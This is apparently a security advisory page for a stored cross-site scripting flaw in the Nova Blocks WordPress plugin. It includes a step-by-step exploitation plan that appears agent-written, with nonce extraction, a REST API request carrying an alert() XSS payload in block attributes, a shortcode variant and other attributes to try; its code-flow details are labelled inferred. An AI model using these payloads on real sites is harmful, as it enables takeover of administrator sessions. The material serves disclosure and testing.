Nova Blocks <= 2.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Nova Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.9Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-24528 - Nova Blocks Stored XSS ## 1. Vulnerability Summary The **Nova Blocks** plugin (versions <= 2.1.9) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue stems from insufficient input sanitization and output escaping of block attributes w…
Show full research plan
Exploitation Research Plan: CVE-2026-24528 - Nova Blocks Stored XSS
1. Vulnerability Summary
The Nova Blocks plugin (versions <= 2.1.9) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue stems from insufficient input sanitization and output escaping of block attributes within Gutenberg blocks. An authenticated user with Contributor permissions or higher can create a post, insert a specific Nova block, and inject a malicious payload into one of the block's attributes. When the post is viewed (either as a preview by an admin or after publication), the payload executes in the context of the victim's browser.
2. Attack Vector Analysis
- Endpoint: WordPress REST API for posts (
/wp-json/wp/v2/posts). - Vulnerable Component: Nova Blocks block attributes (likely within blocks like
nova/post-grid,nova/hero, ornova/sharing-icons). - Authentication Level: Contributor+ (Authenticated).
- Payload Carrier: JSON-encoded block attributes within the
post_content. - Preconditions: The Nova Blocks plugin must be active. The attacker must have a valid session as a Contributor.
3. Code Flow (Inferred)
- Block Registration: The plugin registers blocks using
register_block_type()in PHP. Many Nova blocks are dynamic and use arender_callback. - Attribute Processing: When a post is saved via the Gutenberg editor, the block attributes (e.g.,
title,tag,url) are saved as JSON metadata within HTML comments in thepost_content. - Vulnerable Sink: The
render_callbackfunction (often found insrc/blocks/[block-name]/index.phporincludes/class-block-renderer.php) retrieves these attributes from the$attributesarray. - Missing Escaping: The code reflects an attribute directly into the HTML output without using
esc_html(),esc_attr(), orwp_kses().- Example Vulnerability:
echo '<h2 class="nova-title">' . $attributes['title'] . '</h2>';
- Example Vulnerability:
4. Nonce Acquisition Strategy
To save or update a post via the REST API as a Contributor, a wp_rest nonce is required in the X-WP-Nonce header.
- Login: Log in as the Contributor user.
- Navigate: Use
browser_navigateto go to the WordPress Dashboard (/wp-admin/index.php). - Extract Nonce: The
wp_restnonce is globally available in thewpApiSettingsJavaScript object. - Tool Call:
browser_eval("window.wpApiSettings?.nonce") - Alternative: Navigate to
/wp-admin/post-new.php. The nonce can also be found in the same object or within the Gutenberg initialization scripts.
5. Exploitation Strategy
The goal is to create a new post containing a Nova Block with a XSS payload in a vulnerable attribute.
- Identify Vulnerable Block/Attribute: Based on the patch diff (if available) or common patterns, target the
nova/post-gridblock ornova/heroblock. A likely candidate is an attribute that allows custom text or HTML tags. - Prepare Payload:
- Attribute Payload:
<img src=x onerror=alert(document.domain)> - Block Markup:
<!-- wp:nova/hero {"title":"<img src=x onerror=alert(document.domain)>"} /-->
- Attribute Payload:
- Create Post via REST API:
- Method:
POST - URL:
http://[target]/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [Extracted Nonce]
- Body:
{ "title": "Exploit Post", "content": "<!-- wp:nova/hero {\"title\":\"<img src=x onerror=alert(document.domain)>\"} /-->", "status": "draft" }
- Method:
- Trigger Execution:
- The REST API response will provide a
linkto the post (or theidto construct the preview link). - As an Admin (or the Contributor viewing the preview), navigate to the provided link.
- Verify if the
alerttriggers.
- The REST API response will provide a
6. Test Data Setup
- User: Create a user with the Contributor role.
- Plugin: Ensure
nova-blocksversion 2.1.9 or lower is installed and activated. - Discovery: Run
wp post create --post_type=page --post_content='<!-- wp:nova/hero /-->' --post_status=publishto ensure the block is recognized and see its default attribute structure viawp post get [ID] --field=content.
7. Expected Results
- The REST API should return a
201 Createdresponse. - When navigating to the post preview URL, the browser should execute the JavaScript injected into the
title(or other vulnerable) attribute. - The HTML source of the rendered page should show the unescaped payload within the block's container.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored correctly in the database.
wp post list --post_type=post --format=csvwp post get [ID] --field=content
- Response Inspection: Use
http_requestto GET the post URL and check for the raw payload in the response body.http_request("GET", "http://[target]/?p=[ID]&preview=true")- Look for
<img src=x onerror=alert(document.domain)>in the HTML.
9. Alternative Approaches
- Different Attributes: If
titleis sanitized, trysubTitle,url,tagName, orcustomClassName. - Sharing Icons Block: Test the
nova/sharing-iconsblock, specifically attributes related to labels or URLs. - Shortcode Injection: Some block plugins also register shortcodes. If the block exploitation fails, check for a corresponding shortcode:
[nova_hero title="<script>alert(1)</script>"]. - Gutenberg UI: Instead of the REST API, use
browser_navigateto/wp-admin/post-new.phpand usebrowser_typeto manually insert the block and payload into the editor UI if nonce headers are blocked by security plugins.
Summary
The Nova Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block attributes in versions up to 2.1.9. Authenticated users with Contributor-level access can inject arbitrary JavaScript into attributes of blocks like Hero or Post Grid, which executes when the post is rendered for visitors or administrators.
Exploit Outline
To exploit this vulnerability, an attacker with Contributor permissions first logs into the WordPress dashboard and extracts the REST API nonce from the 'wpApiSettings' object. They then send a POST request to the '/wp-json/wp/v2/posts' endpoint to create a new draft. The payload is embedded within the 'content' field as Gutenberg block metadata (e.g., '<!-- wp:nova/hero {"title":"<img src=x onerror=alert(document.domain)>"} /-->'). When an administrator views the post in the editor or previews the content, the malicious script executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.